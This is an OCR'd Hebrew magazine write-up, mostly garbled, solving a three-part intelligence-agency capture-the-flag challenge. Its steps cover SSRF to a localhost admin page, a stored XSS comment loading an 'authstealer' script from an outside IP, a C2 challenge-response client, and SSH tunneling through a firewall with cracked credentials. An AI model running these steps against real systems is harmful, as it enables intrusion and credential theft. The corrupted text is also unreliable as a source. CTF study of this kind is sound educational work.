Qo0D: 7A 46 5C 53 55 59 03 5A 41 03 06 01 zF\SUY.ZA...
gooc: 00 00 OO 0O 00 OO0 OO OO0 OO OO0 OO0 OO0

.(xor-with-key) 1Inw'75 nnon oy Nawo7 7Nuxaw (cipher text) [9xm PN 750 [N>'ThY NRM
N> 7TIaN ININA XINI NN 2raon myy 7y ninw "Israekis-70" vojpon N'n' 1111'Y DX OIYN'Y NN

...AN9NN KIN "7IN ,(12) 7nnIknn [ND'T yorn

XORNI71y9 ntva (Israetis-70) nk¥nw NNONN QY [ND'TN YOFZ DR NIWWONY X7 TIZ YO 2IMD)

key = bytearray (
cipher = bytearray (

bytearray ( X key, cipher ))

(Ihwxan 295 IPnaimbn) 35.205.32.11vopon 7w 0790
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Challenge #1

Welcome back Agent C!

Your help is needed once again to solve an urgent matter.

Our digital forensics division is trying to track the source of a phishing attack on one of
our government officials.

We have found an email which seems to be related to this attempt and points to a news
blog.

We require your skills to track the source of this sophisticated attack.

The following leads to the news blog.

Good luck!,
M.

NNIANN NNXA NN OY DIYTN 172 ['yn 0'RN NKY 0'0101W) ,7N0N 27w Mxp nTh 2709

‘X2N MATN DX AR NN TR DX 2IT21YII ('nwn DhLak 13.3) anonymous'ia'>n oy nvw'n nxX1l

Yoy L(A1'w'on NoPNN 7w NN7¥NN DR 1'a0n) XSSNtya o'wnnunn DR Qipn? |1'o |'vn
VAN DN '2n7 0197 NI0171 "XV dNRN DX Q'PNNY 72IRY KD Y7 ANNY MIWRIN naAwnnn
TI912 DA MK T 7Y 1m0 >'-1 < NN 'M1anY NX TN Mjpoon L(N7¥ X7 |1'01) Qpinn

NRND 7Y NIFArYRAI9 NIDNT7 DY AT A¥N] NIYY? 1XYW NN TR NN DIY K77

LightWeb&trade; 3.0

1R w7 'Rw administrationq T

~

Reqgister x TTestProﬁePNG TLog‘n X TMa'n TComnent

(Mnwnn qm)PNG + 4 | x ~ ©mvn B0 nnwnd nrfannn 'wrd 97, nnnn

>
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XM NT O

Please enter your registration information below:

Tomer
Zait
realgam3

Profile pic URL [ TRY...]
SUBMIT!

Powered by LightWeb™ 3.0

AnX ,NullByteny UREN 7w np'Tan NX qipy? 91017 N nmn 27w2 wr17 '7 Ny IURIN 12T
-7 Y119 ANXN OX PITAY 'M'01 ,NMINNN NX X'AN7 W2 DNYY 79 Nifryaont N9Y X7 (1rony

:nwpan .(Orange Tsér NITIN) 2T NIF DX X' nopnn SSRF

ltestProfilePng?u= aHROcDovL3JIYWxnYW1ILmNvLmIsL2xvZ28ucG5n ]

.Base64a 17 "wpn X 9On WX U bwa uno oy testProfilePng qTan ntima

-7 yan X0 DX http:// realgame.co.il:4444realgame.co.il/logo.png nwpa niw? nom

nP'M 7w Regexn NX qipy7? non X7 oxl SSRF yas anxnw vy 4444 01191 realgame.co.il
TNT NXRT # 72X ,1ITAY 0'DYTN 2 Npna) # DIPNa -2 NN 1nd 0T TIvA N TanN IX NINNN

:(onn om%nn o'mwn an P71 ClientSide (DOM) nxun1o non # ' nad e

[ ~1$% nc -lvv 4444

Connection from port 4444 [tcp/krb524] accepted
GET / HTTP/1.1

Host: realgame.co.il:4444

Connection: keep-alive

User-Agent: curl/7.21.3 (x86_64-unknown-linux-gnu) libcurl/7.21.3 OpenSSL/1.0.0c z1lib/1.2.5
Accept-Encoding: gzip, deflate

Accept: */*

Cache-Control: no-cache

'R '2an? 17 TY? 720'w login.php TNI'A) 09 Dr¥ap XKNRY QWOX DX AR 1'WOY lnnhxn

.(adminnixwnn oy |n2wN? "annn?

:(Base64) file://lvar/www/login.php#realgame.co.il/logo.png DTz NN7WW MW DX 97N

"apr: "OK",
"png": "login.php",
"session": "Cookie saved: False"

.(Mmn n2ynwd nx¥nw r'R) /profilePics/login.php -n yaizn nX 70 1108 1'wdy hinxn
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2 NN YaIpn

define

function do_login

ADMIN_USER_NAME

admin XIn 7101 NINWAN 7v2 wnnwnn 0wy 0'an nNax login.php yalpn nx 'Rz nnaxwd
oy nNannnn 9717 (127.0.0.1IP-0 namdn) Nwn JINn W7 1Y ATN Wnnwn? 1annn? mmwi
realgame.co.il:4444nx 9*7n1 .nwwa Div 17 'R T8 SSRA1> 17 v ,user_name=admimuniosn

:127.0.0.1/login.php?user_name=admim y'ao "NKXN DX 71727 11'01Wd NNYY

@ 35.205.32.11/testProfilePng?u=aHROcDovl zEyNy4wLjAuMS9sb2dpbiswaHA/dXNIcl 9uYW1IPWFkbWIul3BuZy5pY29uczguY29tL2 lvey8xNjAwL 3RIc3QtcGFzc2VkLnBuZw93d%3d
{
"err”: "200",
"png": ",
"session": "Cookie saved: True"
}

.127.0.0.1/administratiorr? nwjza DA NI7WY N0 TX ,pNGA I'7K NWAT7 QT 17 'K

@ 35.205.32.11/testProfilePng?u=aHR0cDovLzEyNy4wlLjAuMS9hZ G 1pbmizdHIhdGlvbiNwbmcuaWNvbnM4LmNvbS9pb3MvMTYWMCI0ZXNOLXBhc3NIZC5wbme9%3d

{
Merrt: "208"
"png": "administration",
"session": "Cookie saved: True"
}

Sessiommwa ndmn 'R HTTPY niMso ANy 1 ' MiIxR'n 2 75 X7 a¥n ntw ¥7 2 21wn)

(71PN N2 nNTANA
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IMTRN T DX IR 12 /profilePics/administration-7 wan ny>

User Comments

Time
m IP Address Added Comment Text

athlete 212.7.8.9 (1)%33}12 That was funny )

theR@'NM@n  199.53.1.29 gg;ggﬁi’ WOW! this is amazing!!

1whoknows 198.4.76.3 (1)2{82}‘113 Isgﬂi(i;ii(:r:\!?u'd happen!. | warned them at the
CalvinK 213.17.82.1 ggfg%fg It's so last year...

07-03:21 I'love it...It's so <script
nmiao  Src="http://35.205.32.11/authstealer exploit.js">
23/03/18 .
</script>...cute

anonymous 111.112.113.114

N7W D WD nw'om [amdw) 17w IR0 NaImd Dy anonymous 7w Naiann DX DT 1NN

IHwxIN 27wn Do v wpn 72y yn'awdi (0909

2 X0M - 2018 ToImn 7w o1'an NANK [INNS
www.DigitalWhisper.co.il
68 2018 194 T x 4 L ¥




Challenge #2

Well done Agent!

Thanks to your efforts, our team has managed to locate and detain one of the hackers
responsible.

She was not cooperative, but we were able to extract a snippet of an application from
her phone. We suspect it is used for gathering intelligence from their victims.

Your next mission is to locate the files the team stole following their successful phishing
ELER

We executed the parts we extracted in a sandbox and managed to capture its initial
communication with a c2c server. The following contains the captured data.
Needless to say, the information that was stolen is very valuable to us, so please do your

best to retrieve it before it leaks...

Good luck!,
M.

NP'TNI9NI D'ATIR DNANKA MY 1Inwn (Zip Yaliy 1n2a) PCARyalp 9w nTiina 7'nnn Nankn

:WireSharka Statistics>Conversations no' "T'-7y ' Ta1 'n |'an? 0TI 'RTd T'AN AT

Ethernet - 1 TPud - 1 IPVE. TCP -5 UpDpP

=
Address A Port A AddressB PortB Packets Bytes Packets A—B BytesA —B PacketsB — A BytesB — A Rel Start Duration Bits/sA—B Bits/sB — A

192.168.43.188 58640 35204.90.89 5555 g 798 5 456 4 342 0.000000 03726 9791 7343
192.16843.188 58645 35.204.90.89 5555 g 79 5 456 4 342 3.258438 03162 1Mk 8653
192.16843.188 58646 35.204.90.89 2121 38 3200 20 1447 18 1753 4.890574 3.2779 3531 427,
192.168.43.188 58653 35.204.90.89 5555 g 798 5 456 4 342 6468880 0.2905 12k 941
192.16843.188 58658 35.204.90.89 5555 g 798 5 456 4 342 9.662990 03326 10k 822

1> Follow Streamyy yn7a .(FTB 212101192 nnx nn'wi (TCR 555501192 nin'w 4 0'Rin nNaX

NIN'YN NNR NIX NIKY

‘ Wireshark - Follow TCP Stream (tcp.stream eq 0) - pcap.pcap - O X

4bad54feaa%a3fbbd7aac13b74@fc041
9232dbbcee8aba37ba25ef879c@5c3b2dcd8cbf@89ad@74e73a9790f23cbff33af492ad8a79b5621321a9472d96148201efe88947113e2f@bce3c519d988d%e5
5.250.159.25 Temporarily Authorized.

32 .nopn 'in 12819 2'Tnn? 01X 1INIXE NOPN N 32 117 TN MYNY NIKYY [N DTN [wod
[N XIN DX NIXT? DT DTN 2792 NoIN IRY IWXRIN 12TN T8 MD5 T'an 7 2™ nopn 'in
7¥ n1ann nn an% noix nmtpa NInfwn 7n MD5-0 nuwn 75 NX qIoX1 0TI TR ,NIX'9Y

Mynn naivnn
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N> XY NN DY N2TN IMIR X YY1 'YdY .NNSo 5 *2pa pnvon on 0'wrRNN 7D n7yn

:(nopn min 128) SHA512

V17701 MD5 v wkna nNvo 5 7pa 1v0on VIMYRT TN NYAY AT Ya1d 117 U'y DAIMIN T

IR NYY'Y 090 QMDY AN 1'wdy nwyaw nn .SHA512w wxna (+1) 21y 190n nws 1'rnn

[1211 'vnd nX11D wnwn ntn challengeresponsen) FTRN nawh nwa 7 nnoY n7awa ar
:(Mix'n N 190 21210719 7y an? Tvnw PORT Knocking

socket
hashlib
time sleep

hash_table =
hashlib . md¥ (i)). hexdigest (): i
i ( )

True :
s = socket . socket (socket . AF_INET, socket . SOCK_STREAM

s. connect (( , )
challenge = hash_table [s.recv ( ). strip ()]
response = hashlib . sha512 ( (challenge  + 1)). hexdigest ()
s. sendall (response + )
S. recv ( )
sleep (10)

NXI71 D'RN DNRY NN NIY) 999991y O-n nnvon 75 7w HASH TABLENX' 11NIX TI7a

.(Dict Comprehension

190onn NX D'wonn .5555 vl1va MwY? nMmannni socket Dyt INIX ,N'DI01IRN X717
nNIX 91027 ,Nw7 natn SHAS512 apiy 1%on oArnni 07w Hash Table mwnn n7agpw
210NN DMANKA 2IWN TIXRA 770 0T NdNY) Ny 10 0N Nynn 172'PY NIYNN NI 0'0'9 TN
DIoN? 71>' NMWN TN DN DNY D'U9IPO NX' DINK D'WIX DAl TN 1NN U9PON DX ,NTN
NIN7 'RTD T'AN 72X 'Y TN [INND 2ND7 1712 NTH A¥NAY [2mMd .(oniynn 7197 VIYD IX NNIX

JINN9Y QPN W'y Nj7na DdIN
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Filename Filesize Filetype Last modifi.. Permissi.. Owner/G..
admin File folder 18/02/181.. el (0755) 1003 1004
aliantech File folder 18/02/181.. el (0755) 1003 1004
anonymous File folder 18/02/18 1.. el (0755) 1003 1004
backup File folder 18/02/181.. el (0755) 1003 1004
build File folder 18/02/181.. el (0755) 1003 1004
ftpuser File folder 18/02/181.. el (0755) 1003 1004
guest File folder 18/02/181.. el (0755) 1003 1004
hacker File folder 18/02/181.. el (0755) 1003 1004
notroot File folder 18/02/181.. el (0755) 1003 1004
party File folder 18/02/181.. el (0755) 1003 1004
rambo File folder 18/02/181.. el (0755) 1003 1004
sipuser File folder 18/02/181.. el (0755 1003 1004
test File folder 18/02/181.. el (0755) 1003 1004
wheel File folder 18/02/181.. el (0755) 1003 1004

D'2"IYNN DNATN AT NN Xy X7w nn ,FTRAY naw? nn7¥na mannnw nikd? [N naimna
SSH Private id_rsayaip (/users/backup) 17w nan nz'Mma w'w backup owa 11" (0w IRxXNY
floppy-7 |oxm nrxnareaip yaip) floppyfw.conf.enc yaiz “s3cr3t 1pima 7onw hint yaip (Key

.(firewall

DA 70w 2017-03-17-n 1RNY? TV cisco.conf.ena'xapin ny 0iara 190n nxxn /backup nfznma
xon .floppyfw.conf.encyaiz? nmamn gy wr 2017-03-17-n Wnx'71 floppyfw.conf.enc yaiz7 nana
oy IMIX 19'700 DN 27w InwrRal Cisco7w am [pnin Y9 ' AXIDY [an7 07D NIX
N19¥NN NX NIND7 MIYKIN NI'NYOKX 2 11191 NITay X 19¥In (id_rsa SSHY nnon .floppyfw

JNannn 702 1w nno'on NX D'YWY1 NNONY wnnwn? n'awnl hNonn v

NIX DT 22 qJwUNnna D WnNwn? 720w T NNONN 7Y N19XNN DX NINSY7 NI' N At Ny T?

».hint yaipn q1ma X¥naw VoL DY INIX NINSY? NO1 TX .17W NNO'ON

openssl rsa -inid_rsa -outid_rsa_dec \

NNYY 1ANNNY? non ,nn'oro K77 id_rsayaip 17 w'wd rewdy (s3cr3tnn'n nno'on) Tay Nt

root@kali:~ # ssh -1 ./id_rsa_dec backup@35.20
Welcome to p
All your actions are
being recorded!
GELELELERS

bin/false: No such file or directory
onnection to 35.204.90.89 closed.
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2110M90 21 9y v SHELN yin nYm?Y 7ax SSHh 01 SHELIDmpo ni7w? 7511 X7 nx1an 735

D0 TIY

:SFTPw njp'1an 7'nna ™

root@kali: esktop/m 18# sftp -i ./id_rsa_dec backup@
Welcome to kup Ser
A1l your actions are
being recorded!
Hahahah!!

Connected to
sftp> pwd
Remote working directory: /

100% 1802 10.7KB/s  00:00

yan 'Yyl INIX DTN X ,NMXIAD1IPN DX 11'9X¥N INNTV NXN1DY conf_enc.pycymp 1INXN

:uncompyle6ny N'Y7'onIR T DTV PN TIR W 2¥N? INIK Y'TNNT AT

pip install uncompyle6 && uncompyle6 ./conf_enc.pyc > conf_enc.py

L 1]
NIN N19¥NN onAaYrl "d3adb33f13371337x10 N19o¥NN NNONW NIXTYT 0712 NNIX Jiznn T2

AES CBC
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python conf_dec.py Jbackup/2017 - 03- 17/cisco.conf.enc
python conf_dec.py ./backup/2017 - 03- 17/floppyfw.conf.enc

AQWNn [N WnNNwn? 721¢ 0RIM WoNI D'YARN 2 7Y DIIDIRD 2 DHYNY 7011 ,Nyd

USE_IPTABLES=y
i s -I INPUT -i ethO -p tcp -m tcp --dport 22 -j ACCEPT
s -P INPUT -j DROP
2 s -1 OUTPUT -i ethi -p tcp -m tcp --dport 3389 -d 10.128.0.3 -j
= s -I OUTPUT -i ethl -p tcp -m tcp --dport 8080 -d 10.128.0.3
RULE_5=iptables -P OUTPUT -j DROP
RULE_6=iptables -P FORWARD -j ACCEPT

cisco.conf:
list 1 permit any host 10.128.0.3
-list 1 permit any host 10.128.0.3
list 1 deny tcp any any

list 2 permit tcp any host 10.164.0.3 ec
-list 2 deny tcp any any

NMIRTI NPTXY IR DT L['01707 NINT LYND [AY D720 1INIX NIFXIIADNIFZN |2 D'HYN 1INIRYD
cisco.corial ninannn 'u1o ') floppyfw.conf-aw Nt nirvIaoRN 2 NIYY N .N1Id1 n97nnn
7 7w X' naon xixn? 172 onk) Cisco type 7 passworgh cisco.confyaljpa nixno'on W

(17 1Tmya "qpin 12 235 SNMP 7X'00j7 7'9X 7w KN

Jfloppyfw-7 Da o'xnn vawaw fwadmin owa 21r n'fnw 0n'an nnax
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https://www.digitalwhisper.co.il/files/Zines/0x28/DW40-1-AttackingSNMP.pdf

Type 7 Password: | 107D1C09560521580F 16693F 14082026351C1512

Crack Password

Plain text: |Sup3rS3cré#tP@ssword

Nt http://www.ifm.net.nz/cookbooks/passwordcracker.htninkn n1tva nno'on NX N¥o)
.Sup3rS3cr#tP@sswore'n nno'onw

nnax .10.128.0.3IP-n namb>? 33831 80800'v119Y7 Port Forwardingn 7w nnonn nn 'an? noin

Storage 191 VLANA nmxw (o 1t RN namd? nwna 7 ') R LRN7W nonn 1Ty D'an
.(Network

interface Vlan2

name Qutside-network

ip address 10.164.0.3 255
no ip route-cache

D ess-group 2 in

1

interface Vlan3

no ip route-cache
ip access-group 1 out

NT NIYY? NYORY IUN NATN Yan [Xdnl Dmwin 2-2 wwpn? 700 nxt nniv? floppyfw
(floppyfw 70T 1tn IR0 namda n7xn 0'01I97 navnn 75 N anY?) Tunneling, SSH2IvNe

.Local Port Forwardingnrya floppyfw ny 2wpn'? o7 non

ssh - N -L22:10.164.0.3:2222 -i./id_rsa_dec backup@35.204.90.89

|

Jpnnn ATIRo YN X7 -N
.Local Port ForwardingL 1

J0N9N Nnon? nipm -

At oy 10.128.0.31P-n namda x¥ymaw 8 0 8 hioh na Tunnel ax™ ,nN7¥nw MNX ,NYD

:(Sup3rS3cr#tP@sswoyaisco'7y n'¥1'91172 1IR¥NY nnoronl fwadmin

root@kali: # ssh -p 2222 -f -N -L 0.0.0.0:8080: :8080 fwadmin@

fwadmin@ 's password:

NIX YNy D'¥apn Nwa 22 0119 T Navm 17xex 8080 v1I1dw yad MY Nn D¥ya X

.10.128.0.3IP-n nam>2a 8080vn197 floppyfw-2 22 0119 0T Mavnn
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NI'TRN NIdAN D) MIPNN NN N7w Mpna IX (127.0.0.0 nmipn 80800119 10T WNK7 01,

:(mwnin 'orvd D7 van ntw 0.0.0.02

Index of / Index of /stolen_files

Name Last modified Size Description Name Last modified - Size Description

a Parent Directory,

mm 2018-02-19 07:25 @ mossad_2018_challenge.solution.doc 2018-02-19 09:03 662

Apache/2.4.18 (Ubuntu) Server at 192.168.221.137 Port 8080 Apache/2.4.18 (Ubuntu) Server at 192.168.221.137 Port 8050

Inwn 27w 0o ya1 doc-n yalp Wy v yn'awd
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Challenge #3

Very good Agent!

Following your success in finding the hacking teams’ internal storage system, our
intelligence officers have discovered what we believe to be a new and sophisticated
rootkit framework they have been developing.

We also managed to get a copy of a prototype utility that helps reveal their rootkit on
infected systems. You can get if from the following

We require your skills in invesgating it and reporting how the rootkit operates.

Thanks again for your effort, and Good Luck!,
M.

N2IM2 N'7'ONnY NN - busyboX.(Zip yal 1n2) busybox nwa NN YW TN 7'nnn Nankn

1OTix Android n'won > POSIXNiarao 12y TNX Yalp2a unix-tools

N2 72N DX O'RN 1INIX OV K77 NRDINN NN 0¥ 1NIRY)D

1i: # ./busybox
BusyBox v1.29.0.git (2018-02-18 06:33:22 UTC) multi-call binary.
BusyBox 1is copyrighted by many authors between 1998-2015.
Licensed under GPLv2. See source distribution for detailed
copyright notices.

: busybox [function [arguments]...]
r: busybox --list[-fulll

: busybox --install [-s] [DIR]

r: function [arguments]...

BusyBox is a multi-call binary that combines many common Unix
utilities into a single executable. Most people will create a
link to busybox for each function they wish to use and BusyBox
will act like whatever it was invoked as.

*kx* This version of BusyBox is an 'augmented-reality' version ;).. left you a hint at /tmp ...

Currently defined functions:
adjtimex, base64, beep, cat, chmod, clear, dnsdomainname, echo, , hostname, ifconfig, ifdown, ifup, kill,
killall, 1s, lsof, md5sum, nc, netcat, netstat, nslookup, ping, ps, reset, resize, top, true, tty, uname, wget,
whoami

.busyboxnarya yalp nrka ran? ao¥a 7 /tmp arprna ™ nh we

# ./busybox 1s /tmp

such file or directory

AXI NIY7 NXp 0T DX OIEN LAY AAID01I0 DAY UMY ORI NIX TN
.N¥N1 KIN 12 OPTI'RN 97 "m'xTn 1D 071y lowercase letterxinw In 72w X' nx119010nw
JIURIN DIP'MN 7w 10N19-1 71 NI AT NN 0w .3-2 a7 'p- 2-2 a7y ‘e’ 1-a ntiy 't i
7277 N7 DMpEM 7w 20N NINXY OI'72 NITIPON 2N D NP2 AT DX qIpY7 [N1IY IR 0T

DTN 2¥NN DX Q1YY 'R DTIR D27 AKX TR .TNN DIZ™Mn N

| touch 1 && ./busybox Is -la 1 /tmp |

IX 17 DAON'Y VOO AUNDI TR NIYAN [IIDNN N'7RY NTN DX DA NIKINY 2NIR X 2D 72X

(DN NINIXY NN DX 12T 7w 19102 17 X1'W) 91NN DA¥N7 DNVNION
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chars

= bytearray

( "abcdefghijklmnopgrstuvwxyz"

True :
user_input

while

= bytearray (raw input ('textto transform:’

i, € in enumerate (user_input )

if ¢ in chars :
user_input

chars [0] - i) %len (chars )]

[i]

= chars [( c -

print  user_input

0NO 7D DANY 07D IR NYD

root@kali:~/D -la /skm

total 12

drwxrwx rwt 2 root

drwxr-xr-x 25 root
1 root

-r--r--r-- 0 root

esktop/mossad2018# ./busybox 1s
root 19 18:17
root
root
root

4096 Apr
4096 Apr 13 19:48
452 Apr 19 15:38
1337 Dec 31 1969

:édb_history
.readme

INIX X171 1IN ! mayn readmeyalyp

root@kali

root@kali:~ )ssad2018# ./busybox netstat -tunap
Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address
tep 0 0.0.0.0:8080 0.0.0.0:*

tep 0.0.0.0:22 .0.

tcp 0.0.0.0: 49407

tep H
tcp
tcp

State

LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN

PID/Program name
4022/ssh

560/sshd
673/gnome-session-b
609/postgres

1030/0

4015/ssh

tcp
tcp
tcp

[+)]
OROOONODOOOOO

NoNoNololoNoNoNooNoNoNoNol

ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED

4022/ssh
l1030/0
1032/sshd:
4015/ssh
4015/ssh
1337/Troj
563/dhclient

root@not

1nNIx ny> .80 v1va 35.203.32.11n w7 Nainn Tr0j owa 1337id oy 1'7nn w'w D'RN 1INIX

0T 2-2 1 TrOjn"un1d NT'R DY 2177 071D

#cat /proc/1337/cmdline
cat /oply/1337/ragxtxn

# or:

ps aux | grep TrOj

8# ./busybox ps aux | grep Troj

/ mp/Tt j (deleted) -u admin --default-pass
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NTIRON T 72y pnnmaw Tr0j yaizn oy 1Tnwa

#cat /proc/1337/exe > Tr0j
cat /oply/1337/tlr > TrQj

root@kali: # ./busybox 1s /oply/1337
. .. cmdline environ exe

VAN NI 19w yal? symbolic linkxin 7'a0 a¥na exe

root@kali: # ./busybox cat /oply/1337/tlr > Troj

root@kali: # file ./Troj

./ ELF 64-bit LSB executable, x86-64, version 1 (S5YSV), dynamically linked, interpreter /1ib64/1d-linux-x86-64.s0.2, for
GNU/Linux 2.6.32, BuildID[shal]=dodfb3534beb402e7848e2687456cdfadda9a231, not stripped

.DMNIR '8 IN7¢IY DNIVNIDN DAL AYIY RID NN |'1n'7 nonl ldaa YaIZn NX NNO1 I'Wdy

I

D0NI9N 0D NN MTan rbp+srd-7 nhavin Uw1ILN3v3rG3tM3nimyn nrnnn
NT U WUXD (option a1on N1an? y'a¥n) 0oDNR 0NVNI9I d-1 U DY DNVNTS DY getopt_long

.defaultpassint d-1 user
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; hame
; has_arg ; “user”

; flag
; val

; hame ; "pass”
; has_arg

; flag
; val

; hame ; “default-pass™
; has_arg

; flag
; val

.option a10n DNRN DIVNI9N YW N1ANN

: ¥
W =
: v \ v
i P s

loc_400793

.(default-passna xinw) d "1VNIS D'PY NIEFAL NN NTNNND NPNYR 7V n07NnN
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; "35.205.32.11"
: "wget -0 /tmp/.store 'http://%s/iso?user”...

http://35.205.32.11/iso?user=admin&pass=Uw1ILN3v3rG3th8'zn 10T ISGn yalz X TN

.(nx¥nw nnvn19n ny) UW1ILN3v3rG3tMin naoinn 7¢ Flow-n 09w passionnol

eax rbp
rsi, [rbp

1YW NaImdn iso Yal? NN N1INN

admin xIin n¥1nn 97w user "un1® 35.205.32.111P-0 namon nrna yalp? nmny kM)

NTEON T 7Y mount 17 nwyal

mkdir /tmp/iso && mount ./iso.iso /tmp/iso

- XI-Xr-
"= XIP-XT-
- XIF-XT-
"= XIP-XT-
- XIF-XT-
"= XIP-XT-

1

root
root
root
root
root
root
root
root
root
root

root
root
root
root

root 11]

root
root
root

root 1]

root

tmp/iso/vault: SQLite

(3190nn X77) 7 Ty 1-n n"D0NN DY NINN '¥AP W'Y DN Ya1d 17 W'Y 01NN

Jtmp/iso np'mn T iSO YAl JINAY DR NWAT 071D NNIX DY)

8# 1s -la /tmp/iso/

2048 Feb 18
4096 Apr 2

111895 Feb 1

54609 Feb
Feb 1
5 Feb 1
Feb 1
Feb 1
4 Feb 1
5 Feb 18

-]
thumbs.db
vault

8# file /tmp/iso/vault
.x database, last written using SQLite version 3015002

80
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N"pNa nRmnn 7w N nTne ni'Ra Cacheronw Windows yalp xinw thumbs.db owa yaip

:sglite databasexinw vault yalji narnn nrox?

75 DB Browser for SQLite - C\Users\realgam3\Downloads\iso\VAULT
File Edit View Help

& New Database (4 Open Database Write Changes 2 Revert Changes

Database Structure Browse Data Edit Fragmas Execute SQL

Table: | | Files ~| & |58 New Record | Delete Record
id name data enc_type key iv_sizel
Filter [Fiter Ailter Filter [Filter
1 |aesjs Usm/va3ngs/rHvye0sA6hwggK4nFp0+JIMra8YGfyrkfCFxUKZftuilR+K4EXR40EX3XIAVKERpKhAtmXak8wHOLU... Blowfish-CBC ~ External 8
T index.html <html>  <script type="text/javascript" src="aes.js'> </script> None None 0
3 key.js N66Kat8Z793104scLp0O41gcNxWBEUXWnxWscNu9dR39zA= Blowfish-CBC ~ External 8
4 script.js n04ScjFpOgy7]+e30NTvwof/ ITAiac/ AB6cZ s8Wzf1SubeVzojaCMXIOSQpKOIKLTiMvSgGxg+P2xPIL6SzILKY/H8B... Blowfish-CBC ~ External 8

Yalpn "IRw X L oxm X7 index.htmki Blowfish CBE nnoxim n'xap 7'tnn Vault yaipn
2-7 XX PINNNY XN TV [AMD .A'WNT7 NP0 TMAYY IR DNONN DX 7007 70 'wwn namn
1D thumbsviewer vp'noa wnnwal thumbs.db yalgn Ynik nn owTr NNIR "RT'RN D2XN

.2 nnmnn NX arxn?

YUNNY N7 2X¥XN2 ,ANIXK XN NNl ' Yaln 'R avin 1% I'N 12AY M1a i 22N "INT'R NIND 2XNI

*on thumbs.dbyalpn nrxap n's nix1? 71 binwalk "2

8# binwalk /tmp/iso/thumbs.db

DESCRIPTION

0xA18 image : standard
0x5418 image : standard

09x9418 image é standard
09xC818 image ¢ standard
0x13018 image ¢ standard
0x16818 image ¢ standard
0x19218 image data, standard

-0 )'7nn or 0x9418nxx¥n1 nX11D Monn N'wwin mmnnl JPGaion nimn 7 71rma 1n'7iyn

MYMYUN YaIZN DR 117 Y70'W IxI¥7 0970 2INd) .0'¥A7N N 170 9% yxann Cache

python -c
"f3b=open('/tmp/iso/thumbs.db’,'rb").read()[0x9418:];0pen('3.jpg’,
‘wb").write(f3b[:f3b.index(" \ XFF\ xD9")])"

:JPGhamn n1ana naimna 910 NX 0'7non 0xff,0xd9wnd

-n D'¥2PN DX 17 Y7n'w 090 ANdY 117 ARwa 71 1'wdy (*israel70*) nioxnin Nno'o nNx 17 v

vault
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base64
sqlite3
Crypto . Cipher Blowfish

key =
unpad = s: s[: (sllen (s) - 1]

decrypt (raw, iv_size ):
raw = base64 . b64decode (raw)
iv = raw[: iv_size ]
raw = raw|[iv_size ]
cipher = Blowfish . new(key, Blowfish . MODE_CBC iv )
raw = cipher . decrypt (raw)
unpad ( raw)

conn = sqlite3 . connect (
c = conn. cursor ()

name, data , enc_type , iv_siz c. execute (

):
enc_type :
data = decrypt (data, iv_size )
(name, ) f:
f. write (data)

DIYY DX X 97972 index.htmlyaipn nX NIN9? n'oan 11NIX 0'¥aEn 72 NX 17 U'wd 1'Wdy

D B T A |'1ﬁ'7 O NX"AYN NIYTINd V') N X7 1T

Navigated to

® »GET ht
MR INIR KDY AN TIZ IR D2 IR IRAYN XY 12 DINN 7V Yn'7) DX

nX 7NNX? 1 index.htmla Script Sourcenna yaipn NX [IY07 NI017 NIPNWOXR 2 11'T2 2IY

Nty 13370719 v TNl 027N 72 R 79'w HTTPNW NiMoY IX 12 win'wn 197 key ninwnin

:Python SimpleHTTPServer

type="text/javascript” src="key.j
type="text/javascript” src="aes.js’

type="text/javascript” src="script.js’
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TV N'DENMIYRIN NNWOKA 117NAY NIRTY N1

From this page

Enter the key please:

non |NN9N .XIN NN OWTI' X7 1INIRY INW7) NNON D'W7 IN'RN wpanw prompt 1'wdy n7 v

D'YI .2 NDINN TYD A7 T 2dm NI D90 IMIK NIYYY NXN X 72K 0IWD TINN
[ATIN 17w NAKA'TA NRT NIWYY TxD VTI' X7w ' Debuggem narya niwrd miwn 7y breakpoint

.(script.jsix aes.js,key.j9 n7w n'vozon TNR N'7'nNa debugger;qroin?

Memory
Network Filesystem S iptj: scriptjs:formatted

O top i Paused on breakpoint

O file:// \ £ Watch

/realgam3/PycharmPrc
dexhtml

Cal

(anonymous)

Scope

Global Window
3] || _#xd82cx3 Breakpoints
8\x20\x35\%28\x33\x34\x20\x33\.

"‘V Aa /regex/ Cancel

YU TIgn nn nixA7 1 evalk? hook nwya ™) eval natya n'xjpoIoaIR'TN DX NNID U970N
.[on NX?

Elements  Console

window.eval

window.eval = (va _eval("d
(value) {return _eval("deb ;" + value)}

:evakn Ina TIE7 1'7R y1an fT DX DR 1'WOY )'wnd L PIin 7Y pInn

Audits  Edit
Network Y -format VM1042:formatted
" i Debugger paused

Watch

Nymous)
window.eval
(anonymous)
Scope
Global Window

|"“’ Aa /regex/ Cancel Breakpoints

N7NNN2 2720 NX 17 nWYw vonponl payload,sid) n'voMIPO 3 YW NMI'T N1'YL D'ATA 1INIX
NX Y'wn X 1'7y hook 117 wr 11dw eval natya o¥imn TIpn yN' n1oxnn NN X7 (key.js

.(payloadi sid key.jsnxapnn Tign 7y 271) nuwa hook-n T TIR'7 yan'? 1 nxn
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SOLC O+ [+011+C0 TI+0I00IT) [+ + LT+ L+ D11+ C L1+ LD D +L 0+ D1+ (L IHET) [+ET T+ LI+ 1) [+ T+ [T+ 41T+ (1 L1+ 1) [+1+[11]

NNXNNn TMY7 N1 v JSFuckion n'¥zoIoaiN X' NINNND DYPZOIDAIND NIXYYZ NIY 19D

775 |DIXQ N'XPOISAIND D'MIYNN DNN DX "?NKRTD n'n W - JavaScript ObfuscatibriEnderw

."Breaking Obfuscatioisiwa OWASRL-1 DC9723n "7w NXXIN NIXYY7 D'IATIN DNIX

7 n'xpoIvaIrn 7NN WNX7 190N JSFuck alert(1) nxnpgn iy

| (function(){alert(1)})();

72U VIYON INND7 TN I'YOY () MNITYA IT A'XFAID ARMPI,ARIPN DR N7ONY N'MRIR D'YID

.prompt nwxj7219%7 hook 'y .n'van

prompt = window.prompt

window.prompt = O { 3 _prompt.apply(window, arguments); };
() { debugger; return _prompt.apply(window, arguments); }

n'pr|9'7 NXp7N MNX MIY? yan? 1 anxy WNX7 oy 2 nn'yTe 7T NXn DX 'yn)

:prompt

Network
I Debugger paused

f (), t = "Enter the key ase:™ Watch

~ r.charCodeAt (i));

dispatch(curry

}

prompt = O

alert - ) { this: Window
dispatch(current[3], "alert is d try th = Closure

5 Global

password = dispatch(current[2 ) Breakpoints
SDRWUH1(

